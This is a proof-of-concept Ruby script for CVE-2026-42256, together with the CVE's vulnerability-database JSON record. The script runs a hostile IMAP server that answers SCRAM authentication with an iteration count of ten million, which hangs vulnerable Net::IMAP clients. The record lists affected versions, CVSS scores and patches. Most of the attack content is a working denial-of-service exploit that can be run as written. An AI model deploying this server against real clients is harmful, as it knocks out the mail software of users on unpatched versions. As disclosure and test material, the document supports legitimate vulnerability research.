CVE-2026-42256

# Malicious IMAP Server PoC for CVE-2026-42256 # This script simulates an IMAP server that sends a huge iteration count # during SCRAM authentication to trigger a DoS on the client. require 'socket' server = TCPServer.new(143) # Listen on default IMAP port puts "Malicious IMAP server listening on port 143..." client = server.accept client.puts "* OK IMAP4rev1 Service Ready" loop do request = client.gets break unless request # Detect SCRAM authentication attempt if request.match(/AUTHENTICATE SCRAM-SHA-(256|1)/i) puts "Client attempting SCRAM authentication..." # Send the server-first-message with an extremely high iteration count # Format: r=<nonce>,s=<base64_salt>,i=<iteration_count> # i=10000000 will cause significant CPU load malicious_response = "+ r=malicious_nonce,s=UGFzc3dvcmQ=,i=10000000" client.puts malicious_response # The client will now hang computing the hash puts "Sent high iteration count. Client should hang now." break end client.puts "BAD Command unrecognized" end client.close server.close

{"cve": {"id": "CVE-2026-42256", "sourceIdentifier": "[email protected]", "published": "2026-05-09T20:16:28.313", "lastModified": "2026-05-18T18:06:58.657", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Net::IMAP implements Internet Message Access Protocol (IMAP) client functionality in Ruby. From versions 0.4.0 to before 0.4.24, 0.5.0 to before 0.5.14, and 0.6.0 to before 0.6.4, when authenticating a connection with SCRAM-SHA1 or SCRAM-SHA256, a hostile server can perform a computational denial-of-service attack on the client process by sending a big iteration count value. This issue has been patched in versions 0.4.24, 0.5.14, and 0.6.4."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}, {"lang": "en", "value": "CWE-1322"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ruby-lang:net\\:\\:imap:*:*:*:*:*:ruby:*:*", "versionStartIncluding": "0.4.0", "versionEndExcluding": "0.4.24", "matchCriteriaId": "79EE9345-B825-40F9-9CFF-9E9E1A3783DD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ruby-lang:net\\:\\:imap:*:*:*:*:*:ruby:*:*", "versionStartIncluding": "0.5.0", "versionEndExcluding": "0.5.14", "matchCriteriaId": "2CCEB891-1D8F-4431-A79C-2A7560A84F4E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ruby-lang:net\\:\\:imap:*:*:*:*:*:ruby:*:*", "versionStartIncluding": "0.6.0", "versionEndExcluding": "0.6.4", "matchCriteriaId": "9A6D1995-BFA3-490F-967D-252CA7BE2264"}]}]}], "references": [{"url": "https://github.com/ruby/net-imap/commit/158d0b505074397cdb5ceb58935e42dd2bcfa612", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ruby/net-imap/commit/808001bc45c06f7297a7e96d341279e041a7f7f4", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ruby/net-imap/commit/99f59eab6064955a23debd95410263ad144df758", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ruby/net-imap/releases/tag/v0.4.24", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/ruby/net-imap/releases/tag/v0.5.14", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/ruby/net-imap/releases/tag/v0.6.4", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/ruby/net-imap/security/advisories/GHSA-87pf-fpwv-p7m7", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}